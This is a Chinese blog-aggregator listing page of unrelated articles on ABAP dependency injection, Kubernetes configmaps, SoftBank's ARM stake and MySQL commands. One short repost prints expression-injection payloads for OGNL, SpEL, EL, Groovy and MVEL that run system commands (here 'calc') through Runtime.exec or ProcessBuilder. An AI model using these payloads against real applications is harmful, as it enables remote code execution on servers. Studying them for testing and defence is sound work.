首页 文章 精选 留言 我的

精选列表

搜索[SQL注入],共10000篇文章
优秀的个人博客,低调大师

ABAP模拟Java Spring依赖注入(Dependency injection)的一个尝试

Recently I will deliver a session regarding dependency inversion principle to my team. As Java Spring is already widely used in all other Java development teams in my site, some ABAPers are not well aware of its idea and implementation under the hood. In order for ABAPers to easily understand the mechanism of Java Spring dependency inversion, I wrote a prototype in ABAP after going through related Java source code of Spring. Before I start, I perform the search in SCN. There are already several excellent blogs written regarding dependency injection in ABAP: (1) ABAP Dependency Injection – An implementation approach(2) Shoot Me Up ABAP(3) Dependency Injection for ABAP(4) MockA in github Thanks a lot for efforts spent by authors of them!Compared with those blogs, the advantage of my prototype is: it follows exactly the design of Java Spring, it is not needed for users to do any other manual dependency registration except a single annotation @Inject. So it is useful for ABAPers to understand Spring dependency internal implementation. Let me begin with a simple example. In real world I have a switch. By pressing it, the lamp connected by that switch is turned on. With switch pressed for second time, the lamp is turned off. That’s all. Implementation without using Dependency injection I have an interface ZIF_SWITCHABLE with two simple methods: And a ZCL_LAMP which simply implements this interface: CLASS ZCL_LAMP IMPLEMENTATION. method ZIF_SWITCHABLE~OFF. WRITE: / 'lamp off'. endmethod. method ZIF_SWITCHABLE~ON. WRITE: / 'lamp on'. endmethod. ENDCLASS. And a switch which internally maintains the current switch status and a reference to ZIF_SWITCHABLE: The switch has a push method to toggle: METHOD push. IF isswitchon = abap_true. mo_switchable->off( ). isswitchon = abap_false. ELSE. mo_switchable->on( ). isswitchon = abap_true. ENDIF. ENDMETHOD. And a setter method is needed to inject the switchable instance: method SET_SWITCHABLE. mo_switchable = io_switchable. endmethod. These two classes and one interface are put to the following package: Consumer code – version one without using dependency injection Here the ZCL_SWITCH has tight dependency on ZCL_LAMP: it has to manually inject this dependency via setter method in line 11. Let’s summarize how many manual / unnecessary operations are done by consumer: (1) line 8: create lamp instance(2) line 9: create switch instance(3) line 11: connect switch with lamp Implementation using ABAP Summer I call my prototype as ABAP Summer just to show my admire on Java Spring When the same requirement is implemented in Java Spring, the logic in line 11 could completely be avoided, with help of various powerful annotation like @Autowired, @Named, @Inject etc. Thanks to Java Spring container, lots of labor work has been done by it under the hood, saving lots of routine effort from application developers so that they can only concentrate on the core business logic. For example, in Java using Spring, all developers need to do is to add annotation @Inject on top of attribute switchable – in the runtime Spring will guarantee that the annotated implementation for this interface is instantiated automatically. How can we simulate the similar logic of Spring now in ABAP Summer? (1) Add the annotation @Inject to attribute mo_switchable, which tells ABAP summer “hey, I would like this attribute to be automatically injected with proper implementation in the runtime”.Since I have no other way to add metadata in class attribute in ABAP – there is no first class annotation supported in ABAP – I have to use description field for simulation. (2) And below is my consumer code, no more manual instance initialization and manual setter call. Very clean, isn’t it? data(summer) = zcl_summer=>get_instance( ). data(lo_switch) = cast zcl_switch( summer->get_bean( EXPORTING iv_bean_name = 'ZCL_SWITCH' ) ). lo_switch->push( ). lo_switch->push( ). Let’s make comparison. By using ABAP summer, consumer can simply get switch instance from container by passing bean technical name ( here again, I use Spring terminology “bean” to name those ABAP classes which owns an injected member attribute with @Inject ). This is exactly the way a Java developer doing daily work using Java Spring: How does ABAP summer work? There are lots of books written to illustrate the design of Java Spring, I read one of them listed below, and wrote this ABAP summer based on my understanding. I draw a diagram below to explain the core method init of ABAP summer: Last by not least, when you try this demo, after you copy the source code of ZCL_SWITCH to your system and activate it, NEVER forget to add this annotation in description field manually, as in ABAP, the attribute description is not stored in source code but in DB table. More thought on ABAP annotation The annotation in Java is a form of metadata which could be defined by application developer and are available in the runtime by Java reflection. It is a built-in language feature supported by JVM. In ABAP there is no such first-class annotation supported. In CDS view, there are some grammar which have annotation-like style. You can append lots of annotation defined in SAP help to a CDS view. However those annotation are not first-class annotation supported by ABAP language itself as well. It is just CDS view framework which parses the source code of these annotation and react accordingly. For details please see these two blogs of mine: (1) My CDS view self study tutorial – Part 3 how is view source in Eclipse converted to ABAP view in the backend(2) My CDS view self study tutorial – Part 4 how does annotation @OData.publish work 本文来自云栖社区合作伙伴“汪子熙”,了解相关信息可以关注微信公众号"汪子熙"。

优秀的个人博客,低调大师

如何使用Kubernetes的configmap通过环境变量注入到pod里

在Kubernetes官网里,有这样一篇文章,提到了Kubernetes里的一个最佳实践就是把应用代码同配置信息分开,一种方式就是使用Kubernetes 1.2里引入的configmap概念。 https://kubernetes.io/blog/2016/04/configuration-management-with-containers/ configmap实际上就是一系列键值对,存储于etcd里。etcd的官网有这样一句话: etcd is a distributed key-value store designed to reliably and quickly preserve and provide access to critical data. https://github.com/etcd-io/etcd/blob/

优秀的个人博客,低调大师

一种新的攻击方法——Java Web表达式注入

【转】http://blog.csdn.net/kk_gods/article/details/51840683 1 2 3 4 5 java--Groovy命令执行: static void main(args){ defcmd= "calc" ; println "${cmd.execute()}" ; } 1 2 3 4 5 struts2--OGNL命令执行: ActionContextAC=ActionContext.getContext(); MapParameters=(Map)AC.getParameters(); Stringexpression= "${(newjava.lang.ProcessBuilder('calc')).start()}" ; AC.getValueStack().findValue(expression)); 1 2 3 spring--SPEL命令执行: Stringexpression= "T(java.lang.Runtime).getRuntime().exec(/" calc/ ")" ; Stringresult=parser.parseExpression(expression).getValue().toString(); 1 2 3 4 JSP--JSTL_EL命令执行 <spring:messagetext= "${/" / ".getClass().forName(/" java.lang.Runtime/ ").getMethod(/" getRuntime/ ",null).invoke(null,null).exec(/" calc/ ",null).toString()}" > </spring:message> 1 2 3 4 5 6 7 8 Elasticsearch——MVEL java import org.mvel.MVEL; public class MVELTest{ public static void main(String[]args){ Stringexpression= "newjava.lang.ProcessBuilder(/" calc/ ").start();" ; Booleanresult=(Boolean)MVEL.eval(expression,vars); } } 本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1957765,如需转载请自行联系原作者

优秀的个人博客,低调大师

软银拟将ARM25%股权注入VisionFund 价值80亿美元

undefined3月8日消息,据金融时报报道,据透露,日本软银公司将把ARM 25%的股权出售给它创立的1000亿美元投资基金Vision Fund。该部分股权价值大约80亿美元。 据两位知情人士透露,该决定正值该软银领投的基金寻求达到它的融资目标,获得阿布扎比政府资助的投资集团Mubadala的支持。据称,Mubadala希望该基金拥有ARM的部分股权。 知情人士称,双方正接近达成协议,Mubadala拟向该基金注资150亿美元,帮助软银更加接近于实现为Vision Fund基金完成1000亿美元融资的目标。 软银和ARM拒绝对该消息置评。 该交易会是Vision Fund的首个重要动向,该基金旨在给软银的亿万富翁孙正义带来财力,来同时代表他的公司和一小部分外部投资者进行投资。 Vision Fund基金最大的投资者是是沙特阿拉伯的公共投资基金。在孙正义和沙特阿拉伯副王储穆罕默·本·萨尔曼(Mohammed bin Salman)进行了长时间的洽谈后,该基金去年表示将向Vision Fund最多注资450亿美元。 软银将向该基金注资大约250亿美元——不过当中的部分资金将会以ARM股权的形式来支付。其它计划提供小规模投资的投资者包括苹果、高通、甲骨文创始人拉里·埃里森(Larry Ellison)以及富士康。 Mubadala说道,“我们正在就参投该基金进行实质性的洽谈。” 它补充道,“ARM毫无疑问是一家强劲的科技公司,有着巨大而持久的潜力。”该阿布扎比公司过去十年一直在专注于增加科技领域的投资,包括半导体行业。 去年7月,就在英国公投脱欧几周后,软银同意以324亿美元的天价收购ARM。该交易满足了孙正义拥有一家芯片设计公司的愿望,在他看来,芯片设计公司将在物联网和联网设备时代扮演非常重要的角色。 作为该交易的一部分,软银达成了一系列具有约束力的协议,以表示其对英国的承诺,其中包括有关未来5年使得ARM英国员工数量翻倍的协议。 然而,有的人认为英国有将本国科技行业的王者贱卖给外国投资者之嫌。ARM创始人赫尔曼·豪瑟(Hermann Hauser)认为该交易是英国脱欧“最令人难过的意外后果之一”。 通过将ARM的部分股权出售给Vision Fund基金,扮演全球交易人角色的孙正义可能将会招来更加严格的审查,特别是考虑到他现在的投资是通过一个有着各类投资人的基金进行的。 去年年末,孙正式在纽约的特朗普大厦会见唐纳德·特朗普(Donald Trump),承诺在美国投资500亿美元,创造5万个就业岗位,但没有透露具体的细节。 Vision Fund基金的融资目标高达1000亿美元,它的发展也十分快速,可以说它代表风险投资和私募股权的一个新前沿。 为了完成该基金的首轮募资,孙正义一直在积极寻求交易。据一位消息人士称,软银在洽谈向共享办公场所公司WeWork投资30亿美元,对其估值大约170亿美元;如果允许的话,该笔股权也将出售给该基金。 软银去年向卫星创业公司OneWeb投资了10亿美元,后者致力于向全球边远地区提供互联网连接服务。2月,软银称计划再投资17亿美元,以让OneWeb与另一家卫星公司Intelsat合并,前提是它能够说服Intelsat债券持有者同意该笔交易。交易所得的那些股权也将出售给Vision Fund。 不过,软银最近斥资33亿美元收购回来的美国替代性资产管理公司Fortress Investment Group,则不会出售给该基金。 本文转自d1net(转载)

优秀的个人博客,低调大师

mysql常用sql语句的练习笔记

+ grant all privileges on . to '用户名'@'主机' identified by '密码';创建用户 + show databases; + 如果数据库太多可以过滤, show databases like "%abd%"; + use dbname; + show tables; + 如果表太多可以过滤, show tables like "%abd%"; + drop database dbanme; + drop table tbname; + drop view view_name; 删除视图 + desc tablename; 查看表的结构 + show create table/view 表名/视图名 + show full tables; 会返回 表名和table_type + show full tables where table_type = 'view';显示所有的视图 + show full tables where table_type = 'base table';显示所有的视图 + show status; 服务器状态 + select version(); mysql的版本 + select database(); 当前数据库名 + select user(); 当前用户 + show variables; 显示服务器变量 + delete/drop/truncate + delete是DML语句,不会自动提交。drop/truncate都是DDL语句,执行后会自动提交 + 效率方面:drop > truncate > delete + 当你不再需要该表时, 用 drop;当你仍要保留该表,但要删除所有记录时, 用 truncate;当你要删除部分记录时(always with a WHERE clause), 用 delete. + 参考连接 + MySQL在控制台上以竖行显示表格数据 最后+'\G' + 例如, select * from user limit 10 \G;

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册